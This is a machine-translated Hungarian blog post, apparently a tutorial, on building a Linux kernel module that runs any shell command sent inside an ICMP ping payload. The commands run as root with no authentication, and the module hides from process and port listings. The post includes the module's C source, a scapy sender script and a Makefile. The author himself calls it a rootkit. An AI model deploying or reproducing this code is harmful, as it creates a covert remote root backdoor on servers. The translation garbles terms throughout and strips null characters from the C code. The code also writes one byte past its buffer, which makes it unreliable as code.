Nukleáris héj az ICMP felett

Nukleáris héj az ICMP felett

TL, DR: Írok egy kernel modult, ami beolvassa a parancsokat az ICMP hasznos adatból, és akkor is végrehajtja azokat a szerveren, ha az SSH összeomlik. A legtürelmetlenebbek számára minden kód GitHub.

Vigyázat! A tapasztalt C programozók vérkönnyekben fakadhatnak! Még az is lehet, hogy tévedek a terminológiában, de minden kritikát szívesen fogadok. A bejegyzés azoknak szól, akiknek nagyon hozzávetőleges elképzelésük van a C programozásról, és szeretnének betekinteni a Linux belsejébe.

A megjegyzésekben az elsőhöz cikk említette a SoftEther VPN-t, amely képes utánozni néhány „szokásos” protokollt, különösen a HTTPS-t, az ICMP-t és még a DNS-t is. El tudom képzelni, hogy csak az első működjön, mivel nagyon ismerem a HTTP(S)-t, és meg kellett tanulnom az ICMP és DNS feletti tunnelinget.

Nukleáris héj az ICMP felett

Igen, 2020-ban megtanultam, hogy tetszőleges hasznos adatot illeszthet be az ICMP-csomagokba. De jobb későn, mint soha! És mivel lehet tenni ellene valamit, akkor meg kell tenni. Mivel mindennapi életemben leggyakrabban a parancssort használom, így SSH-n keresztül is, először egy ICMP shell ötlete jutott eszembe. És egy teljes bullshield bingó összeállítása érdekében úgy döntöttem, hogy Linux modulként írom meg egy olyan nyelven, amelyről csak hozzávetőleges elképzelésem van. Egy ilyen shell nem lesz látható a folyamatok listájában, betöltheti a kernelbe és nem lesz a fájlrendszerben, nem fog semmi gyanúsat látni a figyelő portok listájában. A képességeit tekintve ez egy teljes értékű rootkit, de remélem, hogy javítani fogom, és végső megoldásként használhatom, amikor a terhelési átlag túl magas ahhoz, hogy SSH-n keresztül bejelentkezzen, és legalább végrehajtsa. echo i > /proc/sysrq-triggera hozzáférés visszaállításához újraindítás nélkül.

Szövegszerkesztőt veszünk, alapszintű programozási ismereteket Python és C nyelven, Google és virtuális amit nem zavar kés alá tenni, ha minden elromlik (opcionális - helyi VirtualBox/KVM/stb), és menjünk!

Ügyfél oldal

Nekem úgy tűnt, hogy a kliens részhez kb 80 soros forgatókönyvet kell írnom, de voltak kedves emberek, akik megcsinálták helyettem. az összes munka. A kód váratlanul egyszerűnek bizonyult, 10 jelentős sorba illeszkedve:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

A szkript két argumentumot vesz fel, egy címet és egy hasznos terhelést. Küldés előtt a rakományt egy kulcs előzi meg run:, szükségünk lesz rá, hogy kizárjuk a véletlenszerű terhelésű csomagokat.

A kernel jogosultságokat igényel a csomagok létrehozásához, ezért a szkriptet szuperfelhasználóként kell futtatni. Ne felejtse el megadni a végrehajtási engedélyeket, és magát a scapy-t telepíteni. A Debiannak van egy nevű csomagja python3-scapy. Most ellenőrizheti, hogyan működik mindez.

A parancs futtatása és kiadása
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Így néz ki a szippantásban
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

A válaszcsomagban lévő hasznos teher nem változik.

Kernel modul

Egy Debian virtuális gép beépítéséhez legalább make и linux-headers-amd64, a többi függőségek formájában fog megjelenni. A cikkben nem adom meg a teljes kódot; klónozhatja a Githubon.

Hook beállítása

Először is két funkcióra van szükségünk a modul betöltéséhez és eltávolításához. A kirakodás funkciója nem szükséges, de akkor rmmod nem fog működni, a modul csak kikapcsolt állapotában töltődik le.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Mi folyik itt:

  1. Két fejlécfájl kerül behúzásra a modul és a netfilter kezeléséhez.
  2. Minden művelet egy netfilteren megy keresztül, abban lehet hookokat beállítani. Ehhez deklarálnia kell azt a struktúrát, amelyben a horog konfigurálva lesz. A legfontosabb az, hogy megadjuk a hook-ként végrehajtandó függvényt: nfho.hook = icmp_cmd_executor; Magára a funkcióra később térek ki.
    Ezután beállítottam a csomag feldolgozási idejét: NF_INET_PRE_ROUTING meghatározza a csomag feldolgozását, amikor az először megjelenik a kernelben. Használható NF_INET_POST_ROUTING hogy feldolgozza a csomagot, amint az kilép a kernelből.
    A szűrőt IPv4-re állítottam: nfho.pf = PF_INET;.
    A legnagyobb prioritást adom a horgomnak: nfho.priority = NF_IP_PRI_FIRST;
    És az adatszerkezetet tényleges horogként regisztrálom: nf_register_net_hook(&init_net, &nfho);
  3. Az utolsó funkció eltávolítja a horgot.
  4. A licencet egyértelműen fel kell tüntetni, hogy a fordító ne panaszkodjon.
  5. függvények module_init() и module_exit() állítson be más funkciókat a modul inicializálásához és leállításához.

A hasznos teher lekérése

Most a hasznos terhet kell kinyernünk, ez bizonyult a legnehezebb feladatnak. A kernel nem rendelkezik beépített funkciókkal a hasznos terhekkel való munkavégzéshez, csak a magasabb szintű protokollok fejléceit tudja elemezni.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Mi történik:

  1. További fejlécfájlokat kellett hozzáadnom, ezúttal az IP és ICMP fejlécek manipulálásához.
  2. Beállítottam a maximális vonalhosszt: #define MAX_CMD_LEN 1976. Miért pont ezt? Mert a fordító panaszkodik rá! Már azt javasolták nekem, hogy meg kell értenem a stacket és a kupacot, egyszer biztosan megcsinálom, és talán még a kódot is kijavítom. Azonnal beállítottam a parancsot tartalmazó sort: char cmd_string[MAX_CMD_LEN];. Minden funkcióban láthatónak kell lennie; erről a 9. bekezdésben fogok részletesebben beszélni.
  3. Most inicializálnunk kell (struct work_struct my_work;) szerkezetét és összekapcsolja egy másik funkcióval (DECLARE_WORK(my_work, work_handler);). A kilencedik bekezdésben arról is szólok, hogy miért van erre szükség.
  4. Most deklarálok egy függvényt, ami egy horog lesz. A típust és az elfogadott argumentumokat a netfilter diktálja, minket csak az érdekel skb. Ez egy socket puffer, egy alapvető adatstruktúra, amely tartalmazza a csomagokról elérhető összes információt.
  5. A függvény működéséhez két struktúrára és több változóra van szükség, köztük két iterátorra.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Kezdhetjük a logikával. A modul működéséhez az ICMP Echo-n kívül nincs szükség más csomagokra, ezért a puffert beépített függvényekkel elemezzük, és kidobunk minden nem ICMP és nem Echo csomagot. Visszatérés NF_ACCEPT a csomag átvételét jelenti, de visszaküldéssel is leadhatja a csomagokat NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Nem teszteltem, mi fog történni az IP-fejlécek ellenőrzése nélkül. A minimális C nyelvtudásom azt mutatja, hogy további ellenőrzések nélkül valami szörnyűség fog történni. Örülök, ha lebeszélsz erről!

  7. Most, hogy a csomag pontosan olyan típusú, mint amire szüksége van, kivonhatja az adatokat. Beépített funkció nélkül először mutatót kell kapnia a hasznos terhelés elejére. Ez egy helyen történik, a mutatót az ICMP fejléc elejére kell vinni, és át kell helyezni a fejléc méretére. Minden struktúrát használ icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    A fejléc végének meg kell egyeznie a hasznos terhelés végével skb, ezért nukleáris eszközökkel kapjuk meg a megfelelő szerkezetből: tail = skb_tail_pointer(skb);.

    Nukleáris héj az ICMP felett

    A képet ellopták ezért, bővebben olvashat a socket pufferről.

  8. Miután megvan a mutatók az elejére és a végére, átmásolhatja az adatokat egy karakterláncba cmd_string, ellenőrizze az előtag jelenlétét run: és vagy dobja el a csomagot, ha hiányzik, vagy írja át újra a sort, eltávolítva ezt az előtagot.
  9. Ez az, most hívhat egy másik kezelőt: schedule_work(&my_work);. Mivel nem lehet paramétert átadni egy ilyen hívásnak, a parancsot tartalmazó sornak globálisnak kell lennie. schedule_work() elhelyezi az átadott struktúrához társított függvényt a feladatütemező általános sorába, és befejezi, így nem kell várni a parancs befejezésére. Erre azért van szükség, mert a horognak nagyon gyorsnak kell lennie. Ellenkező esetben az a választásod, hogy nem indul el semmi, vagy kernelpánikot kapsz. A késés olyan, mint a halál!
  10. Ennyi, a csomagot megfelelő visszaküldéssel átveheti.

Program hívása felhasználói térben

Ez a funkció a legérthetőbb. A nevét megadták DECLARE_WORK(), a típus és az elfogadott érvek nem érdekesek. Fogjuk a sort a paranccsal, és teljes egészében átadjuk a shellnek. Hadd foglalkozzon az elemzéssel, a binárisok keresésével és minden mással.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Állítsa be az argumentumokat karakterláncok tömbjére argv[]. Feltételezem, hogy mindenki tudja, hogy a programok valójában így futnak, nem pedig szóközökkel ellátott folytonos sorként.
  2. Állítsa be a környezeti változókat. Csak a PATH-t szúrtam be minimális útvonalkészlettel, abban a reményben, hogy ezek már kombinálva vannak /bin с /usr/bin и /sbin с /usr/sbin. Más utak ritkán számítanak a gyakorlatban.
  3. Kész, csináljuk! Kernel függvény call_usermodehelper() belépést elfogad. a bináris elérési útja, argumentumtömb, környezeti változók tömbje. Itt azt is feltételezem, hogy mindenki érti a végrehajtható fájl elérési útjának külön argumentumként való átadásának értelmét, de lehet kérdezni. Az utolsó argumentum megadja, hogy meg kell-e várni a folyamat befejeződését (UMH_WAIT_PROC), folyamat indítása (UMH_WAIT_EXEC) vagy egyáltalán ne várj (UMH_NO_WAIT). Van még néhány UMH_KILLABLE, nem néztem bele.

gyülekezés

A kernel modulok összeállítása a kernel make-framework-en keresztül történik. Hívott make egy speciális könyvtárban, amely a kernel verziójához van kötve (itt definiálva: KERNELDIR:=/lib/modules/$(shell uname -r)/build), és a modul helyét átadja a változónak M az érvekben. Az icmpshell.ko és a tiszta célok teljes mértékben ezt a keretrendszert használják. BAN BEN obj-m azt az objektumfájlt jelöli, amely modullá lesz konvertálva. Szintaxis, amely újrakészíti main.o в icmpshell.o (icmpshell-objs = main.o) számomra nem tűnik túl logikusnak, de legyen.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Gyűjtjük: make. Betöltés: insmod icmpshell.ko. Kész, ellenőrizheti: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ha van fájl a gépén /tmp/test és tartalmazza a kérés elküldésének dátumát, ami azt jelenti, hogy te mindent jól csináltál, én pedig mindent jól.

Következtetés

Az első tapasztalatom a nukleáris fejlesztéssel sokkal könnyebb volt, mint vártam. C-ben való fejlesztési tapasztalat nélkül is, a fordítói tippekre és a Google-eredményekre koncentrálva tudtam működő modult írni, és úgy éreztem magam, mint egy kernelhacker, és egyben script kölyök. Ezen kívül elmentem a Kernel Newbies csatornára, ahol azt mondták, hogy használjam schedule_work() hívás helyett call_usermodehelper() magában a horogban, és megszégyenítette, joggal gyanította, hogy csalás történt. Száz sornyi kód körülbelül egy hét fejlesztésbe került a szabadidőmben. Sikeres tapasztalat, amely megsemmisítette személyes mítoszamat a rendszerfejlesztés elsöprő összetettségéről.

Ha valaki beleegyezik a kód áttekintésébe a Githubon, hálás leszek. Biztos vagyok benne, hogy sok hülye hibát követtem el, különösen, amikor húrokkal dolgoztam.

Nukleáris héj az ICMP felett

Forrás: will.com

Hozzászólás